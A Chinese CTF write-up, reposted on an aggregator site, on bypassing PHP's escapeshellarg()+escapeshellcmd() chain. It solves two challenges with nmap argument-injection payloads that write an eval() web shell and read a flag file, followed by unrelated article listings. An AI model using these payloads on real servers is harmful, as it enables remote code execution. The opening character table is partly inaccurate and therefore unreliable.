PHP escapeshellarg()+escapeshellcmd()繞過

文章目錄

    • 函數利用
      • escapeshellarg()函數
      • escapeshellcmd()函數
    • exp執行原理
    • 攻擊面
    • 例題 [BUUCTF 2018]Online Tool
    • 例題 [網鼎杯 2020 朱雀組]Nmap


函數利用

escapeshellarg()函數

單引號 ('):轉義為 \'。
雙引號 ("):轉義為 \"。
反斜杠 (\):轉義為 \\。
美元符號 ($):轉義為 \$。
反引號 (`):轉義為 ``````。
感嘆號 (!):轉義為 \!。
分號 (;):轉義為 \;。
大于號 (>):轉義為 \>。
小于號 (<):轉義為 \<。
垂直線 (|):轉義為 \|。
與號 (&):轉義為 \&。
空格 ( ):轉義為 \ 。

escapeshellcmd()函數

這些轉義和規范化操作有助于確保命令字符串在傳遞給命令行時能夠正確解析,并且不會被誤認為是命令或其他惡意代碼。

執行操作

替換命令字符串中的單引號 (') 為反斜杠和單引號組合 (\')。
替換命令字符串中的雙引號 (") 為反斜杠和雙引號組合 (\")。
刪除命令字符串中的換行符 (\n)。
刪除命令字符串中的回車符 (\r)。

exp執行原理

我們來分析下構造的exp

172.17.0.2' -v -d a=1

當進行escapeshellarg()函數處理后,會先進行字符轉義,變成如下

172.17.0.2\' -v -d a=1
//然后添加兩個單引號到轉義的單引號左右,使得兩部分括起來從而起到連接的作用
'172.17.0.2'\'' -v -d a=1'

再進行escapeshellcmd()函數處理后
\以及最后那個不配對的單引號進行了轉義

'172.17.0.2'\\'' -v -d a=1\'

所以如果利用攻擊的話,即向172.17.0.2\發起請求,POST 數據為a=1’
(中間的單引號閉合不用管)

攻擊面

如果應用使用escapeshellarg -> escapeshellcmd這樣的流程來處理輸入是存在隱患的,mail就是個很好的例子,因為它函數內部使用了escapeshellcmd,如果開發人員僅用escapeshellarg來處理輸入再傳給mail那這層防御幾乎是可以忽略的。

如果可以注入參數,那利用就是各種各樣的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的參數注入的例子。

例題 [BUUCTF 2018]Online Tool

源碼

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}if(!isset($_GET['host'])) {highlight_file(__FILE__);
} else {$host = $_GET['host'];$host = escapeshellarg($host);$host = escapeshellcmd($host);$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);echo 'you are in sandbox '.$sandbox;@mkdir($sandbox);chdir($sandbox);echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

接收參數host,然后經過escapeshellarg -> escapeshellcmd處理,最后執行命令

通過查閱我們知道nmap存在參數-oG可以實現將命令和結果寫入文件
我們按照前文的思路,嘗試構造
(中間部分的轉義可以不去管,不會造成影響)

127.0.0.1 <?php @eval();?> -oG hack.php

如果我們直接傳入這個,只會被當成字符串無法寫入馬
那么我們在傳入參數的前面添加單引號,后面空格加單引號

'127.0.0.1 <?php @eval();?> -oG hack.php '

傳進去后變成

''127.0.0.1 <?php @eval();?> -oG hack.php ''

經過escapeshellarg函數處理

'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
//在轉義的單引號左右添加單引號
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''

經過escapeshellcmd函數處理

''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''

執行結果會對目標\127.0.0.1發送命令<?php @eval();?> -oG hack.php \寫入文件

最終payload

'127.0.0.1 <?php @eval($_POST["hack"]);?> -oG hack.php '

或者

' <?php @eval($_POST["hack"]);?> -oG hack.php '

在這里插入圖片描述
成功寫入后命令執行
在這里插入圖片描述

例題 [網鼎杯 2020 朱雀組]Nmap

方法和前一題差不多
大概測試了下,語句必須有host值,過濾了php
利用管道符|,短標簽和phtml后綴繞過

127.0.0.1 | ' <?=eval($_POST["hack"]);?> -oG hack.phtml '

scan后訪問/hack.phtml,命令執行即可
在這里插入圖片描述
還有一種利用方法,payload如下

127.0.0.1' -iL ../../../../flag -o 1

執行后,訪問/1'即可得到flag
在這里插入圖片描述解釋一下,該命令拼接到執行語句后為

'127.0.0.1'\\'' -iL ../../../../flag -o 1\'

也就是我們推導的exp執行過程

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/206688.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/206688.shtml
英文地址,請注明出處:http://en.pswp.cn/news/206688.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

HTTP不同場景下的通信過程和用戶上網認證過程分析

目錄 HTTP不同場景的通信過程 HTTP正常交互過程 HTTP透明加速傳輸過程 HTTP代理服務器場景下交互過程 通過AC對上網用戶不同場景的認證過程 AC上網認證正常交互過程 通過Cookie實現免認證交互過程 代理服務器場景下HTTP密碼認證交互過程 HTTP不同場景的通信過程 HTTP、…

專業130+總分400+云南大學通信847專業基礎綜考研經驗(原專業課827)

今年專業130總分400云南大學通信上岸&#xff0c;整體考研感覺還是比較滿意&#xff0c;期間也付出了很多心血&#xff0c;走過彎路&#xff0c;下面分享一下這一年考研得失&#xff0c;希望大家可以從中有所借鑒。 先說明我在考研報名前更換成云南大學的理由&#xff1a;&…

谷歌正式發布最強 AI 模型 Gemini

2023年12月6日&#xff0c;谷歌公司宣布推出其被認為是規模最大、功能最強大的人工智能模型 Gemini。 Gemini將分為三個不同的套件&#xff1a;Gemini Ultra、Gemini Pro和Gemini Nano。 Gemini Ultra被認為具備最強大的能力&#xff0c;Gemini Pro則可擴展至多任務&#x…

xilinx原語詳解及仿真——ODDR

ODDR位于OLOGIC中&#xff0c;可以把單沿傳輸的數據轉換為雙沿傳輸的數據&#xff0c; 在講解ODDR功能之前&#xff0c;需要先了解OLOGIC的結構及功能。 1、OLOGIC OLOGIC塊位于IOB的內側&#xff0c;FPGA內部信號想要輸出到管腳&#xff0c;都必須經過OLOGIC。OLOGIC資源的類…

CleanMyMac4.16中文最新版本下載

當很多人還在為電腦運行緩慢、工作問題不能快速得到解決而煩惱的時候&#xff0c;我已經使用過了多款系統清理工具&#xff0c;并找到了最適合我的那一款。我的電腦是超耐用的Mac book&#xff0c;接下來給大家介紹三種在眾多蘋果電腦清理軟件的排名較高的軟件。 一、Maintena…

【ET8】0.ET8入門-ET框架介紹

ET8 新特性 多線程多進程架構,架構更加靈活強大&#xff0c;多線程設計詳細內容請看多線程設計課程抽象出纖程(Fiber)的概念&#xff0c;類似erlang的進程&#xff0c;非常輕松的創建多個纖程&#xff0c;利用多核&#xff0c;仍然是單線程開發的體驗纖程調度: 主線程&#xf…

首次面試經歷(忘指導)當我在簡歷上寫了蒼穹外賣,瑞吉外賣時……

&#x1f308;鍵盤敲爛&#xff0c;年薪30萬&#x1f308; 個人簡介: 大三在校生&#xff0c;二本院校&#xff0c;專業&#xff1a;信息管理與信息系統 面試崗位&#xff1a; java開發實習生 投”簡歷“ 臨近大三寒假&#xff0c;很早就有實習想法的我&#xff0c;對12月做…

一篇文章了解JDK的前世今生

我們每天都在開發Java,每天都在使用JDK,那么我們了解JDK的發展史嗎,這篇文章將帶你深入了解JDK的發展史。 JDK(Java Development Kit)是Java開發者工具包,是用于編寫Java程序和運行Java程序的軟件開發工具集。自從1995年Java語言首次發布以來,JDK已經經歷了數十年的發展…

python打開相機,用鼠標左鍵框選矩形區域,支持一次框選多個矩形區域,通過鼠標右標清除上一次畫的矩形。

方案一 import cv2# Global variables rectangles [] current_rectangle [] drawing False# Mouse callback function def mouse_callback(event, x, y, flags, param):global rectangles, current_rectangle, drawingif event cv2.EVENT_LBUTTONDOWN:drawing Truecurren…

C語言——常用庫函數

C語言——常用庫函數 memcmp int my_memcmp(char* str1,char* str2,int num) {while(num--){if(*str1>*str2){return 1;}else if(*str1<*str2){return -1;}else{str1;str2;}}return 0; }memcpy void* my_memcpy(void *str1,void *str2,int size) {int *p1str1;int *p2…

Linux數據庫Mysql增刪改查

從安裝數據庫到增刪改查 apt install mariadb-serverUndefined 安裝好后初始化 mysql_secure_installationUndefined 查 查詢現有的庫 show databases;SQL 進入庫 use mysql;Perl 查詢表 show tables;SQL 查詢表結構 desc mysql;SQL 查詢表內容 select * from my…

深度學習TensorFlow2基礎知識學習后半部分

介紹幾個重要操作&#xff1a; 1.范數 a tf.fill([1,2], value2.) b tf.norm(a)# 二范數#第二種計算方法 # 計算驗證 a tf.square(a) log("a的平方:", a) a tf.reduce_sum(a) log("a平方后的和:", a) b tf.sqrt(a) log("a平方和后開根號:"…

NVIDIA與 Sparkfun 的合作伙伴在 Hackster.io 上發起了人工智能創新挑戰賽,喊你來參加!

NVIDIA與 Sparkfun 的合作伙伴在 Hackster.io 上發起了人工智能創新挑戰賽&#xff0c;喊你來參加&#xff01; 本次競賽的目標旨在吸引開發者社區在 NVIDIA Jetson Orin 平臺上為邊緣構建生成式 AI 應用程序和模型&#xff0c;希望通過本次比賽提高人們對新 Jetson 生成式 AI…

Python微信公眾號批量發布文章問題記錄,調用api接口發草稿箱編碼有問題

1、accesstoken獲取方法 def get_access_token():url https://api.weixin.qq.com/cgi-bin/token?grant_typeclient_credential&appid{}&secret{}.format(*****************, ***********)response requests.get(url)res_html response.json()access_token res_ht…

四元數,歐拉角,旋轉矩陣,旋轉向量

四元數&#xff0c;旋轉矩陣&#xff0c;旋轉向量&#xff0c;歐拉角 一、歐拉角 1、歐拉角是表達旋轉的最簡單的一種方式&#xff0c;形式上它是一個三維向量&#xff0c;其值分別代表物體繞坐標系三個軸(x,y,z軸&#xff09;的旋轉角度&#xff0c;默認旋轉正向為逆坐標軸逆…

C#winform上下班打卡系統Demo

C# winform上下班打卡系統Demo 系統效果如圖所示 7個label控件(lblUsername、lblLoggedInEmployeeId、lab_IP、lblCheckOutTime、lblCheckInTime、lab_starttime、lab_endtime)、3個按鈕、1個dataGridView控件、2個groupBox控件 C#代碼實現 using System; using System.Dat…

Java零基礎——Elasticsearch篇

1.Elasticsearch簡介 Elasticsearch是一個基于Lucene的一個開源的分布式、RESTful 風格的搜索和數據分析引擎。Elasticsearch是用Java語言開發的&#xff0c;并作為Apache許可條款下的開放源碼發布&#xff0c;是一種流行的企業級搜索引擎。Elasticsearch用于云計算中&#xf…

【Ambari】Python調用Rest API 獲取YARN HA狀態信息并發送釘釘告警

&#x1f984; 個人主頁——&#x1f390;開著拖拉機回家_Linux,大數據運維-CSDN博客 &#x1f390;?&#x1f341; &#x1fa81;&#x1f341;&#x1fa81;&#x1f341;&#x1fa81;&#x1f341;&#x1fa81;&#x1f341; &#x1fa81;&#x1f341;&#x1fa81;&am…

二層交換原理

二層交換設備工作在OSI模型的第二層&#xff0c;即數據鏈路層&#xff0c;它對數據包的轉發是建立在MAC&#xff08;Media Access Control &#xff09;地址基礎之上的。二層交換設備不同的接口發送和接收數據獨立&#xff0c;各接口屬于不同的沖突域&#xff0c;因此有效地隔離…

【C/PTA —— 15.結構體2(課內實踐)】

C/PTA —— 15.結構體2&#xff08;課內實踐&#xff09; 7-1 計算職工工資7-2 計算平均成績7-3 找出總分最高的學生7-4 通訊錄的錄入與顯示 7-1 計算職工工資 #include<stdio.h> #include<stdlib.h> typedef struct GZ {char name[6];double j;double f;double z;…